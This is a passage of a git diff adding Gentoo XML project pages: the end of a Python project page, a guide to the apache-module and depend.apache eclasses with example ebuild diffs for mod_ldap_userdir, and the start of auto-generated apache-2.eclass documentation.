+            Bugs for g-pypi releases in the <uri link="http://overlays.gentoo.org/dev/pythonhead">pythonhead overlay</uri> should go to Gentoo's
+        <uri link="http://bugs.gentoo.org">bugzilla</uri>. Feature requests and bug reports for the svn trunk should go to <uri>http://code.google.com/p/g-pypi</uri></p>
+    </longdescription>
+    <startdate>2007</startdate>
+    <dev role="Developer">pythonhead</dev>
+    <dev role="Developer">neurogeek</dev>
+  </task>
+
+  <task lead="pythonhead">
+    <name>python-info</name>
+    <description>Shows how Python was compiled and information about all Python packages emerged</description>
+    <longdescription>
+        <p>python-info will show various information about Python and Python based packages you have emerged.</p>
+        <p>Current status: vapourware</p>
+        <p>Features</p>
+        <ul>
+        <li>Show compilation information for Python</li>
+        <li>Show all Python packages installed and USE flags used</li>
+        <li>Show which Python packages were not installed by Portage</li>
+    </ul>
+    </longdescription>
+    <startdate>July 29, 2008</startdate>
+    <dev role="Developer">pythonhead</dev>
+  </task>
+
+<extraproject name="eselect-python">
+  Python eselect module
+</extraproject>
+
+<extraproject name="python-updater">
+  Re-emerges Python packages after a major Python upgrade
+</extraproject>
+
+<extraproject name="g-pypi" lead="pythonhead">
+  Creates ebuilds by querying The Python Package Index
+</extraproject>
+
+<extraproject name="python-info" lead="pythonhead">
+  Informational tool to show how Python was compiled and how Python packages were emerged
+</extraproject>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="http://overlays.gentoo.org/proj/python/">The Gentoo Python Overlay &amp; Wiki</resource>
+<resource link="developersguide.xml">Gentoo Python Developer's Guide</resource>
+
+<resource link="http://overlays.gentoo.org/proj/python/wiki/Meeting20080626_Summary">Gentoo Zope meeting log</resource>
+
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>#gentoo-python on irc.freenode.net</title>
+<body>
+
+<p>
+The best way to reach us is on IRC in the <uri 
+link="irc://freenode/gentoo-python">#gentoo-python</uri> channel on irc.freenode.net.
+Please feel free to stop by to talk about Python on Gentoo. We welcome any
+suggestions for improvement.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/apache/apache-developer.xml b/xml/htdocs/proj/en/apache/apache-developer.xml
new file mode 100644
index 00000000..dbcae2cc
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/apache-developer.xml
@@ -0,0 +1,888 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/apache/apache-developer.xml,v 1.2 2008/03/23 11:09:03 hollow Exp $ -->
+
+<guide link="/proj/en/apache/apache-developer.xml" lang="en" disclaimer="obsolete" redirect="doc/developer.xml">
+<title>Apache Developer Documentation</title>
+
+<author title="Author">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+
+<abstract>
+This document provides details about the new eclasses available for developers 
+of packages that relate to Apache.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.5</version>
+<date>2008-03-02</date>
+
+<chapter>
+<title>About this document</title>
+<section>
+<body>
+
+<p>
+This document details the <uri link="#apache-module">new eclasses</uri>, <uri 
+link="#changes">what we changed</uri> from the previous style of apache and 
+how ebuilds need to be <uri link="#ebuild-update">modified</uri> to take 
+advantage of our new eclasses. If you are a user looking for information on 
+how to upgrade, please use the <uri link="apache-upgrading.xml">Upgrading 
+Apache</uri> document.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="changes">
+<title>What Has Changed</title>
+<section>
+<title>Overview</title>
+<body>
+
+<p>
+We have made many changes to the way Apache and its modules install and work 
+on Gentoo. This eases the maintenance burden and more closely follows upstream 
+practices. Our changes are:
+</p>
+
+<ul>
+  <li>Fixed many bugs</li>
+  <li>Changed installation and configuration paths</li>
+  <li>
+    Created <uri link="#depend-apache">depend.apache</uri> and <uri	
+    link="#apache-module">apache-module</uri> eclasses
+  </li>
+  <li>
+    Combined apache.conf and commonapache.conf into one file that is very 
+    similar to how upstream distributes it
+  </li>
+  <li>
+    Split <c>apr</c> and <c>apr-utils</c> out of apache so some packages no 
+    longer require apache
+  </li>
+  <li>Updated and version bumped nearly every module</li>
+  <li>Made more MPMs available</li>
+  <li>Added lingerd support</li>
+  <li>Fixed large file support</li>
+  <li><e>Much more I'm sure I'm forgetting...</e></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Apache Path Locations</title>
+<body>
+
+<p>
+In order to more closely follow how upstream and other distributions install 
+apache, the following paths have changed:
+</p>
+
+</body>
+</section>
+<section>
+<title>Apache 2.x</title>
+<body>
+
+<table>
+<tr>
+  <th>Use</th>
+  <th>Old Path</th>
+  <th>New Path</th>
+</tr>
+<tr>
+  <ti>Server Root</ti>
+  <ti><path>/etc/apache2/</path></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration Directory</ti>
+  <ti><path>/etc/apache2/conf/</path></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Configuration</ti>
+  <ti><path>/etc/apache2/conf/apache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Configuration</ti>
+  <ti><path>/etc/apache2/conf/commonapache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Vhosts Configuration</ti>
+  <ti><path>/etc/apache2/conf/vhosts/</path></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modules Configuration</ti>
+  <ti><path>/etc/apache2/conf/modules.d/</path></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Module Binaries</ti>
+  <ti><path>/usr/lib/apache2-extramodules/</path></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+</table>
+
+<note>
+The default configuration now automatically includes 
+<path>modules.d/*.conf</path> and <path>vhosts.d/*.conf</path> by default. 
+However, the directive in <path>httpd.conf</path> lists the above as 
+<path>conf/modules.d/*.conf</path> and <path>conf/vhosts.d/*.conf</path>. This 
+is because Apache reads the configuration using the directory 
+<path>/usr/lib/apache{|2}</path> which contains a symbolic link <path>conf -> 
+/etc/apache{|2}</path>.
+</note>
+
+
+<impo>
+If you are a developer updating an ebuild to work with the changes we've made,
+please do not hard-code the above paths into your ebuild - see the eclass 
+documentation on appropriate variables you can use instead.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="ebuild-update">
+<title>Ebuild Updating</title>
+<section>
+<body>
+
+
+<p>
+With our new changes, more or less every ebuild that has a dependency on Apache
+needs to be modified. The Apache herd has already taken care of a great 
+majority of these packages, as they are responsible for them. But there remain 
+several that belong to other maintainers which need updating.
+</p>
+
+<p>
+This chapter will guide a developer through upgrading an ebuild to use the new
+eclass, using one of our more complex packages,
+<c>www-apache/mod_ldap_userdir</c> as an example.
+</p>
+
+
+<note>
+If your package isn't actually a module but just needs to know the paths Apache
+uses, just <c>inherit depend.apache</c> and use the variables made available 
+to you in the eclass. See the <uri link="#depend-apache">depend.apache</uri> 
+eclass documentation.
+</note>
+
+</body>
+</section>
+<section>
+<title>Overview of needed changes</title>
+<body>
+
+<ul>
+  <li>
+    A new revision will be needed as revisions adapted to the new eclass 
+    are not backwards compatible with the old versions of Apache.
+  </li>
+  <li>
+    Be sure to set <c>KEYWORDS</c> to testing and (if the apache packages 
+    are still hard-masked) add it to package.mask
+  </li>
+  <li>
+    Replace any <c>DEPEND</c> on Apache with <c>need_apache1</c> (for 
+    Apache-1* modules), <c>need_apache2</c> (for Apache-2* modules), or 
+    <c>need_apache</c> (for modules that can depend on either Apache-1* or 
+    Apache-2* - determined by USE-flags)
+  </li>
+  <li>
+    Remove any specialized code that modifies the <c>SLOT</c> or 
+    <c>DEPEND</c> with hacks such as <c>has_version</c>.
+  </li>
+  <li>
+    Check to see if the default <c>src_compile</c> in the eclass will work.
+    If not, set <c>APXS1_ARGS</c> and/or <c>APXS2_ARGS</c> to compile other 
+    files as required.
+  </li>
+  <li>Generally all functions can be removed from the ebuild</li>
+  <li>
+    Modify the module configuration file to use <c>IfDefine</c>s to load and 
+    configure the module
+  </li>
+  <li>Add any documentation files to <c>DOCFILES</c></li>
+  <li>
+    Specify the configuration file src_install should install: 
+    <c>APACHE1_MOD_CONF</c>, <c>APACHE2_MOD_CONF</c>
+  </li>
+  <li>
+    Specify the <c>IfDefine</c> that the module uses in its configuration 
+    file so pkg_postinst can give user information on how to enable the module: 
+    <c>APACHE1_MOD_DEFINE</c>, <c>APACHE2_MOD_DEFINE</c>
+  </li>
+  <li>
+    Don't forget to test it - follow the upgrade instructions in this 
+    document if you haven't already
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuild Globals</title>
+<body>
+
+
+<pre caption="Diff between mod_ldap_userdir-1.4.1 and mod_ldap_userdir-1.4.1-r1 (edited)">
++inherit apache-module
++ 
+-IUSE="apache2 ssl"
++IUSE="ssl"
+ 
+ DESCRIPTION="Apache module that enables ~/public_html from an LDAP directory."
+ HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+-KEYWORDS="x86 ppc"
++KEYWORDS="~x86 ~ppc"
+ 
+ SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+ 
+-DEPEND="=net-www/apache-1*
+-		apache2? ( =net-www/apache-2* )
+-		ssl? ( dev-libs/openssl )
+-		net-nds/openldap"
++DEPEND="ssl? ( dev-libs/openssl )
++		net-nds/openldap"
+ 
+ LICENSE="GPL-1"
+ SLOT="0"
++
++DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
++APACHE1_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE2_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE1_MOD_DEFINE="LDAPuserdir"
++APACHE2_MOD_DEFINE="LDAPuserdir"
++
++need_apache
+</pre>
+
+
+<p>
+We start off with <c>inherit apache-module</c> which also inherits 
+<c>depend.apache</c>. <c>depend.apache</c> defines the locations Apache uses
+and more importantly, defines three <c>DEPEND</c>s: <c>APACHE1_DEPEND</c> for 
+those packages that need Apache-1*, <c>APACHE2_DEPEND</c> for those packages 
+that need Apache-2*, and <c>APACHE_DEPEND</c> for those packages that need 
+either Apache-1* or Apache-2* and leave it to the apache2 USE-flag to 
+determine which.
+</p>
+
+<note>
+We at this time don't support installing both versions of apache side-by-side 
+(although it is possible), so in turn don't support installing a single 
+version of a module for both versions of apache. Modules should only use a 
+<c>SLOT</c> other then <c>0</c> if they have multiple version lines and each 
+support a different version of Apache. (i.e. <path>mod_layout-3.2.1-r1</path> 
+has <c>SLOT="1"</c> and <path>mod_layout-4.0.1a-r1</path> has <c>SLOT="2"</c>)
+</note>
+
+<p>
+<c>apache-module</c> does the heavy lifting for the module packages by 
+defining sane defaults for <c>pkg_setup</c>, <c>src_compile</c>, 
+<c>src_install</c> and <c>pkg_postinst</c>.
+</p>
+
+<p>
+As <c>depend.apache</c> adds <c>apache2</c> to IUSE if necessary, you no longer
+need to explicitly define it in the ebuild's IUSE. You should however leave it
+defined if you use that use-flag in your ebuild somewhere.
+</p>
+
+<p>
+<c>depend.apache</c> handles adding the correct Apache DEPEND to your DEPEND 
+(if you call one of the <c>need_apache{|1|2}</c> functions) so you can remove 
+the apache DEPEND handling in your ebuild.
+</p>
+
+<p>
+<c>DOCFILES</c> is used by the <c>src_install</c> in <c>apache-modules</c> to 
+install all the documentation. <c>src_install</c> automatically detects html 
+files and other files and uses either <c>dodoc</c> or <c>dohtml</c> to install
+them to their correct locations.
+</p>
+
+<p>
+<c>APACHE1_MOD_CONF</c> and <c>APACHE2_MOD_CONF</c> define the configuration 
+file to install for the module. This is used during <c>src_install</c> so they 
+may be relative to whatever you set <c>APXS1_S</c> or <c>APXS2_S</c> to 
+(defaults to <c>${S}/src</c> if it's a directory or just <c>${S}</c>).
+</p>
+
+<p>
+<c>APACHE1_MOD_DEFINE</c> and <c>APACHE2_MOD_DEFINE</c> tell the eclass what 
+<c>&lt;IfDefine MODULENAME&gt;</c> the module uses. It is used for displaying 
+instructions to the user on how to enable the module.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+<c>src_compile</c> may be needed if the module requires special steps that the 
+eclass can't handle. This would be a rare case. In most cases, just reviewing 
+the <path>Makefile</path> and adding items to <c>APXS1_ARGS</c> or 
+<c>APXS2_ARGS</c> will be sufficient.
+</p>
+
+<pre caption="Diff between mod_ldap_userdir-1.4.1 and mod_ldap_userdir-1.4.1-r1 (edited)">
+-src_compile() {
+-	local myconf
+-	if use apache2; then
+-		myconf="${myconf} --with-apxs2=/usr/sbin/apxs2"
+-	else
+-		myconf="${myconf} --with-apxs=/usr/sbin/apxs"
+-	fi
+-
+-	use ssl &amp;&amp; myconf="${myconf} -with-tls"
+-
+-	myconf="${myconf} --with-activate"
+-	./configure ${myconf} || die "Configure failed"
+-	make clean
+-	make || die "Make failed"
+-}
+
++src_compile() {
++	local myargs="-lldap -llber -c ${PN}.c"
++	use ssl &amp;&amp; myargs="${myargs} -D TLS=1"
++
++	APXS2_ARGS="${myargs}"
++	APXS1_ARGS="${myargs}"
++
++	apache-module_src_compile
++
++}
+</pre>
+
+<note>
+In general, if the APXS1_ARGS or APXS2_ARGS need to be different, they are 
+defined in global space. <path>mod_ldap_userdir</path> is different in this 
+respect, because the state of the ssl USE-flag affects those variables and 
+it's more efficient to only set those values in <c>src_compile</c> rather than 
+run the USE check during every invocation of the ebuild.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+In most cases, <c>src_install</c> will not be needed. The exceptions are when 
+there are other directories that need to be installed or when file permissions 
+need to be changed.
+</p>
+
+<pre caption="Diff between mod_ldap_userdir-1.4.1 and mod_ldap_userdir-1.4.1-r1 (edited)">
+-src_install() {
+-	if use apache2; then
+-		exeinto /usr/lib/apache2-extramodules
+-		doexe mod_ldap_userdir.so
+-	else
+-		exeinto /usr/lib/apache-extramodules
+-		doexe mod_ldap_userdir.so
+-	fi
+-	dodoc DIRECTIVES README user-ldif posixAccount-objectclass
+-}
++src_install() {
++	apache-module_src_install
++	if [ "${APACHE_VERSION}" == "2" ]; then
++		fperms 600 ${APACHE2_MODULES_CONFDIR}/$(basename ${APACHE2_MOD_CONF})
++	else
++		fperms 600 ${APACHE1_MODULES_CONFDIR}/$(basename ${APACHE1_MOD_CONF})
++	fi
++}
+</pre>
+
+<p>
+As you can see, in <path>mod_ldap_userdir</path> we actually added some fixes 
+that weren't present in the previous revision - the addition of a configuration
+file and setting the proper permissions on it. But we still let 
+<c>apache-module</c> strut it's stuff by calling 
+<c>apache-module_src_install</c> inside our <c>src_install</c>. In most cases, 
+<c>src_install</c> will not be needed at all.
+</p>
+
+<p>
+<c>src_install</c> completely handles installing the module, configuration 
+files and documentation into the correct places.
+</p>
+
+</body>
+</section>
+<section>
+<title>Other functions</title>
+<body>
+
+<p>
+In most cases, there should not be any pkg_postinst or pkg_config as the eclass
+handles outputting instructions to the user about enabling a module and where 
+the configuration file is. If additional setup instructions are needed, then a 
+<c>pkg_postinst</c> can be added, but should also run 
+<c>apache1_pkg_postinst</c> or <c>apache2_pkg_postinst</c> inside it.
+</p>
+
+<pre caption="Diff between mod_ldap_userdir-1.4.1 and mod_ldap_userdir-1.4.1-r1 (edited)">
+-pkg_postinst() {
+-	if use apache2; then
+-		elog "Adjust /etc/apache2/conf/modules.d/47_mod_ldap_userdir.conf to match your setup and"
+-		elog "add '-D LDAPuserdir' to your APACHE2_OPTS in /etc/conf.d/apache2"
+-		elog "To configure the package run \"ebuild /var/db/pkg/net-www/${PF}/${PF}.ebuild config\""
+-	fi
+-}
+-
+-pkg_config() {
+-	/usr/sbin/apacheaddmod \
+-		${ROOT}/etc/apache/conf/apache.conf \
+-		extramodules/mod_ldap_userdir.so mod_ldap_userdir.c ldap_userdir_module \
+-		define=LDAPuserdir addconf=conf/addon-modules/47_mod_ldap_userdir.conf
+-}
+</pre>
+
+<p>
+With the new default configuration of Apache, we no longer need to have the 
+user modify their <path>httpd.conf</path> to enable a module. All the 
+<path>*.conf</path> files in the <path>modules.d</path> directory are included 
+automatically. Every file there should be completely wrapped in an 
+<c>&lt;IfDefine MODULENAME&gt;</c> block so that the directives in that file 
+are only used if the user adds a <c>"-D MODULENAME"</c> to their 
+<path>/etc/conf.d/apache{|2}</path> file.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuration file</title>
+<body>
+
+<p>
+Most configuration files won't need many changes. The major one to look out for
+is to make sure it uses the correct path when loading the module:
+</p>
+
+
+<pre caption="LoadModule directive">
+<comment>(Old directive:)</comment>
+LoadModule ldap_userdir_module	extramodules/mod_ldap_userdir.so
+
+<comment>(New directive:)</comment>
+LoadModule ldap_userdir_module	modules/mod_ldap_userdir.so
+</pre>
+
+<p>
+Also, every module configuration file needs to be wrapped in <c>&lt;IfDefine 
+MODULENAME&gt;</c> blocks. If you don't do this, then Apache will load the 
+module by default, which we don't want - module loading is to be controlled by 
+the user, using the <path>/etc/conf.d/apache{|2}</path> file.
+</p>
+
+<pre caption="Sample .conf">
+&lt;IfDefine LDAPuserdir&gt;
+  &lt;IfModule !mod_ldap_userdir.c&gt;
+    <comment># Load the module:</comment>
+    LoadModule ldap_userdir_module	modules/mod_ldap_userdir.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+
+&lt;IfModule mod_ldap_userdir.c&gt;
+<comment># Put a good default configuration here:</comment>
+
+    LDAPUserDir             public_html
+    LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+    LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfModule&gt;
+</pre>
+
+<note>
+Some modules may want to add extensions that are checked to the DirectoryIndex.
+We have patched Apache to have a new configuration directive, 
+AddDirectoryIndex, that does just that. Use just like DirectoryIndex - it 
+works the same way except that it doesn't replace the DirectoryIndex, it adds 
+to it. There is also a RemoveDirectoryIndex if that is needed for some reason.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="apache-module">
+<title>apache-module eclass</title>
+<section>
+<title>Description</title>
+<body>
+
+<p>
+The <c>apache-module</c> eclass provides sane default functions for compiling 
+apache modules. As most modules are compiled in exactly the same way this makes 
+it possible for module ebuilds to be extremely simple.
+</p>
+
+</body>
+</section>
+<section>
+<title>Functions</title>
+<body>
+
+<table>
+<tr>
+  <th>Function</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>apache_cd_dir</c></ti>
+  <ti>Returns the correct path to the temporary build directory</ti>
+</tr>
+<tr>
+  <ti><c>apache_mod_file</c></ti>
+  <ti>Returns the path to the built module to install</ti>
+</tr>
+<tr>
+  <ti><c>apache_doc_magic</c></ti>
+  <ti>
+    Takes a single optional argument. If the argument is set, returns all 
+    *.html files in <c>${DOCFILES}</c>, otherwise returns all non-*.html 
+    files.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_compile</c></ti>
+  <ti>
+    Calls <c>${APXS1}</c> with arguments of <c>${APXS1_ARGS}</c>. If a 
+    module requires a different build setup than this, use <c>${APXS1}</c> in 
+    your own src_compile routine.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_install</c></ti>
+  <ti>
+    This installs the module and configuration files into apache's 
+    directories. It handles installation of the modules, it's configuration, 
+    any related executables and documentation.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_pkg_postinst</c></ti>
+  <ti>Prints standard configurations messages.</ti>
+</tr>
+<tr>
+  <ti><c>apache2_pkg_setup</c></ti>
+  <ti>
+    If APACHE2_SAFE_MPMS is set it checks the installed MPMs and displays an 
+    error if there are no safe MPMs installed.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_compile</c></ti>
+  <ti>
+    Calls <c>${APXS2}</c> with arguments of <c>${APXS2_ARGS}</c>. If a 
+    module requires a different build setup than this, use <c>${APXS2}</c> in 
+    your own src_compile routine.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_install</c></ti>
+  <ti>
+    This installs the module and configuration files into apache's 
+    directories. It handles installation of the modules, it's configuration, 
+    any related executables and documentation.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>apache-module_pkg_setup</c><br />
+    <c>apache-module_src_compile</c><br />
+    <c>apache-module_src_install</c><br />
+    <c>apache-module_pkg_postinst</c>
+  </ti>
+  <ti>
+    These are wrapper functions around the apache1_* or apache2_* 
+    functions. They automatically detect the version of apache that is 
+    being built against.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variables</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Default</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_CONF</c><br />
+    <c>APACHE2_MOD_CONF</c>
+  </ti>
+  <ti>None</ti>
+  <ti>
+    The location in <c>${FILESDIR}</c> of the module configuration, without
+    the .conf extension.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_DEFINE</c><br />
+    <c>APACHE2_MOD_DEFINE</c>
+  </ti>
+  <ti>None</ti>
+  <ti>
+    Name of the define in the module configuration. Used in displaying a 
+    message to the user to add it to their 
+    <path>/etc/conf.d/apache{|2}</path>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_EXECFILES</c><br />
+    <c>APACHE2_EXECFILES</c>
+  </ti>
+  <ti>None</ti>
+  <ti>Additional executable files that should be installed.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_FILE</c><br />
+    <c>APACHE2_MOD_FILE</c>
+  </ti>
+  <ti>
+    ${PN}.so<br />
+    .libs/${PN}.so
+  </ti>
+  <ti>The module that <c>src_install</c> installs.</ti>
+</tr>
+<tr>
+  <ti><c>APACHE2_SAFE_MPMS</c></ti>
+  <ti>None</ti>
+  <ti>
+    A list of MPMs that work with this module. If not set, then no checks 
+    for MPMs will be done. If there are unsafe MPMs installed, the user is 
+    warned. If there are no safe MPMs installed, the module refuses to 
+    install.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_S</c><br />
+    <c>APXS2_S</c>
+  </ti>
+  <ti>None</ti>
+  <ti>
+    Paths to temporary build directories. Returned by <c>apache_cd_dir</c> 
+    if set, otherwise it returns <c>${S}/src</c> (if it's a directory) or 
+    <c>${S}</c>.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_ARGS</c><br />
+    <c>APXS2_ARGS</c>
+  </ti>
+  <ti>-c ${PN}.c</ti>
+  <ti>Arguments to pass to the apxs tool.</ti>
+</tr>
+<tr>
+  <ti><c>DOCFILES</c></ti>
+  <ti>None</ti>
+  <ti>
+    The documentation to be installed. Any files that end with .html are 
+    installed using <c>dohtml</c>, the rest are installed using 
+    <c>dodoc</c>.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="depend-apache">
+<title>depend.apache eclass</title>
+<section>
+<title>Description</title>
+<body>
+
+<p>
+The <c>depend.apache</c> eclass sets the default locations of various apache 
+paths and handles setting dependencies on apache. In general, this eclass 
+shouldn't be used for modules. It should only be used for programs that need to
+depend on apache but that aren't modules. (Modules should use the <uri 
+link="#apache-module">apache-module</uri> eclass.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Functions</title>
+<body>
+
+<table>
+<tr>
+  <th>Function</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>need_apache1</c></ti>
+  <ti>
+    This function correctly sets dependency information for packages that 
+    support only apache-1.x. Packages that need apache-1.x should call 
+    <c>need_apache1</c> in global scope to set the dependencies correctly.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache2</c></ti>
+  <ti>
+    This function correctly sets dependency information for packages that 
+    support only apache-2.x. Packages that need apache-2.x should call 
+    <c>need_apache2</c> in global scope to set the dependencies correctly.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache</c></ti>
+  <ti>
+    This function correctly sets dependency information based on currently 
+    set USE-flags. Packages that can use both versions of apache should call 
+    <c>need_apache</c> in global scope to set the dependencies correctly.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variables</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Default</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti><c>APACHE_VERSION</c></ti>
+  <ti>1</ti>
+  <ti>
+    Set by <c>need_apache</c>,<c>need_apache1</c>,<c>need_apache2</c>. 
+    Stores the version of apache we are going to be building.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1</c><br />
+    <c>APXS2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apxs</path><br />
+    <path>/usr/sbin/apxs2</path>
+  </ti>
+  <ti>Path to the apxs tool</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHECTL1</c><br />
+    <c>APACHECTL2</c>
+  </ti>
+  <ti>
+    <path>/usr/sbin/apachectl</path><br />
+    <path>/usr/sbin/apache2ctl</path>
+  </ti>
+  <ti>Path to the apachectl tool</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_BASEDIR</c><br />
+    <c>APACHE2_BASEDIR</c>
+  </ti>
+  <ti>
+    <path>/usr/lib/apache</path><br />
+    <path>/usr/lib/apache2</path>
+  </ti>
+  <ti>The path the server runs in</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_CONFDIR</c><br />
+    <c>APACHE2_CONFDIR</c>
+  </ti>
+  <ti>
+    <path>/etc/apache</path><br />
+    <path>/etc/apache2</path>
+  </ti>
+  <ti>Location of the <path>httpd.conf</path> configuration file</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULES_CONFDIR</c><br />
+    <c>APACHE2_MODULES_CONFDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/modules.d<br />
+    ${APACHE2_CONFDIR}/modules.d
+  </ti>
+  <ti>
+    Location where modules should install their configuration. All *.conf 
+    files in this directory are included on startup.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_VHOSTDIR</c><br />
+    <c>APACHE2_VHOSTDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_CONFDIR}/vhosts.d<br />
+    ${APACHE2_CONFDIR}/vhosts.d
+  </ti>
+  <ti>
+    Location where virtual host configurations should be kept. All *.conf 
+    files in this directory are included on startup.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MODULESDIR</c><br />
+    <c>APACHE2_MODULESDIR</c>
+  </ti>
+  <ti>
+    ${APACHE1_BASEDIR}/modules<br />
+    ${APACHE2_BASEDIR}/modules
+  </ti>
+  <ti>Location where module binaries should be installed.</ti>
+</tr>
+</table>
+
+<note>
+All variables should be considered read-only and should not be modified in the
+ebuild. Doing so may have unpredictable results.
+</note>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/apache/doc/apache-2.eclass.xml b/xml/htdocs/proj/en/apache/doc/apache-2.eclass.xml
new file mode 100644
index 00000000..dfd8f6a3
--- /dev/null
+++ b/xml/htdocs/proj/en/apache/doc/apache-2.eclass.xml
@@ -0,0 +1,123 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/doc/en/eclass/apache-2.eclass.xml">
+<title>Documentation for apache-2.eclass</title>
+<author>
+<mail link="apache-devs@gentoo.org">apache-devs@gentoo.org</mail>
+</author>
+<abstract>
+Auto-generated documentation for apache-2.eclass
+</abstract>
+<license/>
+<version>1.0</version>
+<date>2008-03-23</date>
+<chapter>
+<title>NAME</title>
+<section>
+<body><p><c>apache-2.eclass</c> - Provides a common set of functions for apache-2.x ebuilds</p></body>
+</section>
+</chapter>
+<chapter>
+<title>DESCRIPTION</title>
+<section>
+<body><p>This eclass handles apache-2.x ebuild functions such as LoadModule generation
+and inter-module dependency checking.</p></body>
+</section>
+</chapter>
+<chapter>
+<title>FUNCTIONS</title>
+<section>
+<body><dl><dt><c>setup_mpm </c></dt><dd>This internal function makes sure that only one of APACHE2_MPMS was selected
+or a default based on USE=threads is selected if APACHE2_MPMS is empty</dd>
+<dt><c>check_module_critical </c></dt><dd>This internal function warns the user about modules critical for the default
+apache configuration.</dd>
+<dt><c>check_module_depends </c></dt><dd>This internal function makes sure that all inter-module dependencies are
+satisfied with the current module selection</dd>
+<dt><c>setup_modules </c></dt><dd>This internal function selects all built-in modules based on USE flags and
+APACHE2_MODULES USE_EXPAND flags</dd>
+<dt><c>generate_load_module </c></dt><dd>This internal function generates the LoadModule lines for httpd.conf based on
+the current module selection and MODULE_DEFINES</dd>
+<dt><c>check_upgrade </c></dt><dd>This internal function checks if the previous configuration file for built-in
+modules exists in ROOT and prevents upgrade in this case. Users are supposed
+to convert this file to the new APACHE2_MODULES USE_EXPAND variable and remove
+it afterwards.</dd>
+<dt><c>apache-2_pkg_setup </c></dt><dd>This function selects built-in modules, the MPM and other configure options,
+creates the apache user and group and informs about CONFIG_SYSVIPC being
+needed (we don't depend on kernel sources and therefore cannot check).</dd>
+<dt><c>apache-2_src_unpack </c></dt><dd>This function applies patches, configures a custom file-system layout and
+rebuilds the configure scripts.</dd>
+<dt><c>apache-2_src_compile </c></dt><dd>This function adds compiler flags and runs econf and emake based on MY_MPM and
+MY_CONF</dd>
+<dt><c>apache-2_src_install </c></dt><dd>This function runs `emake install' and generates, installs and adapts the gentoo
+specific configuration files found in the tarball</dd>
